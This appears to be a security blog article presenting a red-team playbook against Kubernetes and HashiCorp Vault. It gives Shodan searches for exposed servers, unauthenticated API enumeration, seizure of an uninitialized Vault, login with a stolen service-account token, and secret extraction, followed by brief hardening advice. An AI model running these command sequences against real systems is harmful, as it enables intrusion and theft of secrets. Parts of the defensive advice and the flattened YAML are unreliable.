Unmasking Kubernetes Secrets: The Shodan-to-Vault Red Team Playbook Exposed

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Introduction:

The convergence of cloud-native technologies and proactive security testing defines modern cybersecurity. This article deconstructs the offensive security methodology for assessing HashiCorp Vault within Kubernetes clusters, a critical component for secrets management.

Learning Objectives:

  • Understand the reconnaissance phase using Shodan to identify exposed Kubernetes assets.
  • Learn techniques for enumerating and attacking a misconfigured HashiCorp Vault instance.
  • Master key mitigation strategies to harden your Kubernetes and Vault deployment.

You Should Know:

1. Initial Reconnaissance with Shodan CLI

Shodan is a search engine for internet-connected devices. The Shodan CLI allows security professionals to programmatically discover vulnerable systems.

shodan search 'kubernetes port:6443 country:US'
shodan search 'product:"Vault" port:8200'
shodan host <TARGET_IP>

Step-by-step guide:

1. Install the Shodan CLI: `pip install shodan`

  1. Initialize it with your API key: `shodan init YOUR_API_KEY`
    3. Use the `search` command with filters like port, country, or `product` to find potential targets.
  2. Use `shodan host` on a specific IP to get a detailed breakdown of open ports and services.

2. Kubernetes API Server Enumeration

A exposed Kubernetes API server is a primary attack vector. The `kubectl` command can be used to probe for information.

kubectl --insecure-skip-tls-verify --server=https://<TARGET_IP>:6443 get pods
kubectl --insecure-skip-tls-verify --server=https://<TARGET_IP>:6443 auth can-i --list
curl -k https://<TARGET_IP>:6443/api/v1/namespaces/default/pods/

Step-by-step guide:

  1. Upon discovering a potential API server IP, attempt to connect using `kubectl` with the `–insecure-skip-tls-verify` flag if certificates are an issue.
  2. Query the API directly using `curl` with the `-k` (insecure) flag to bypass TLS certificate validation.
  3. The `auth can-i –list` command is crucial for understanding what permissions an unauthenticated or authenticated user has.

3. Vault Initialization and Status Check

Before attacking Vault, you must determine its status. An uninitialized Vault is a critical finding.

curl -s http://<VAULT_IP>:8200/v1/sys/init | jq
curl -s http://<VAULT_IP>:8200/v1/sys/health | jq

Step-by-step guide:

  1. The `/v1/sys/init` endpoint returns the initialization status of the Vault server. If `initialized` is false, it can be seized.
  2. The `/v1/sys/health` endpoint provides information on the health status, seal status, and more. A `501` status code indicates it is uninitialized.

4. Initializing and Seizing an Uninitialized Vault

An uninitialized Vault can be initialized by an attacker to gain control and generate the root token.

vault operator init -address=http://<VAULT_IP>:8200
vault operator unseal -address=http://<VAULT_IP>:8200
vault login -address=http://<VAULT_IP>:8200

Step-by-step guide:

  1. If the Vault is uninitialized, use vault operator init. This command generates the root token and unseal keys.
  2. The new Vault will be sealed. Use the `vault operator unseal` command with the provided keys to unseal it.
  3. Finally, log in using the root token with vault login. You now have full administrative control.

5. Authenticating and Bypassing Vault Security

If the Vault is initialized, attackers probe for weak authentication methods like token auth or Kubernetes service account integration.

vault login -method=token -address=http://<VAULT_IP>:8200
vault write auth/kubernetes/login role=my-role jwt=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

Step-by-step guide:

  1. Check if token authentication is enabled and if weak tokens exist.
  2. If Vault is integrated with Kubernetes, a pod compromise can lead to Vault access. The JWT token for the pod’s service account is used to authenticate to Vault against a configured role.
  3. Use the `vault write auth/kubernetes/login` command with the stolen JWT to obtain a Vault token.

6. Secrets Extraction and Privilege Escalation

Once authenticated, the goal is to read secrets and find paths for privilege escalation.

vault secrets list -address=http://<VAULT_IP>:8200
vault list kv/secret-data
vault read kv/secret-data/database-password
vault token lookup
vault token create -policy=root

Step-by-step guide:

  1. List enabled secrets engines with vault secrets list.
  2. Use `vault list` and `vault read` to enumerate and extract secrets from paths like kv/, secret/, or cubbyhole/.
  3. Check the capabilities of your current token with vault token lookup.
  4. If your token has sufficient permissions, create a new token with a higher-privileged policy.

7. Hardening Kubernetes and Vault: Critical Mitigations

Defense is paramount. These commands help secure your environment.

 Network Policy to restrict Vault traffic
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: vault-network-policy
spec:
podSelector:
matchLabels:
app: vault
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: kube-system
ports:
- protocol: TCP
port: 8200
EOF

Check API server exposure
kubectl get svc | grep -i LoadBalancer

Step-by-step guide:

1. Network Policies: Apply strict Kubernetes Network Policies to ensure only authorized namespaces/pods can communicate with the Vault pod on port 8200.
2. API Server Exposure: Never expose the Kubernetes API server publicly. Use `kubectl get svc` to check for services of type `LoadBalancer` that should not be public.
3. Vault Configuration: Ensure Vault is not deployed in `dev` mode, is initialized before deployment, and uses TLS. Rely on Kubernetes Secrets for its configuration, not environment variables.

What Undercode Say:

  • The attack chain from internet reconnaissance to full secret compromise is often shorter than assumed, relying on misconfigurations, not zero-days.
  • The principle of least privilege is non-negotiable; a breached pod should not grant access to the entire secrets management system.
    The presentation by Saurabh Pandey underscores a critical shift in offensive security. The focus is less on software vulnerabilities and more on architectural and configuration oversights. The seamless path from a Shodan query to a compromised root Vault token demonstrates how cloud-native environments, while agile, introduce complex attack surfaces. Red teaming these environments requires a deep understanding of the interactions between orchestration platforms (Kubernetes) and critical services like Vault. This is not merely about technical execution but about adopting an adversarial mindset to continuously test and validate security controls, ensuring that the crown jewels—secrets—are truly protected.

Prediction:

The automation of cloud vulnerability scanning and exploitation will accelerate. We predict the emergence of AI-powered offensive security tools that can autonomously perform the reconnaissance, enumeration, and attack chain described above at a scale and speed impossible for human teams. This will force a corresponding evolution in DevSecOps, embedding security testing and hardening much earlier in the CI/CD pipeline (shift-left) and leading to the widespread adoption of automated, continuous security validation (e.g., Chaos Engineering for security) to keep pace with the automated threats. The role of the security professional will evolve from manual tester to orchestrator and auditor of these automated security systems.

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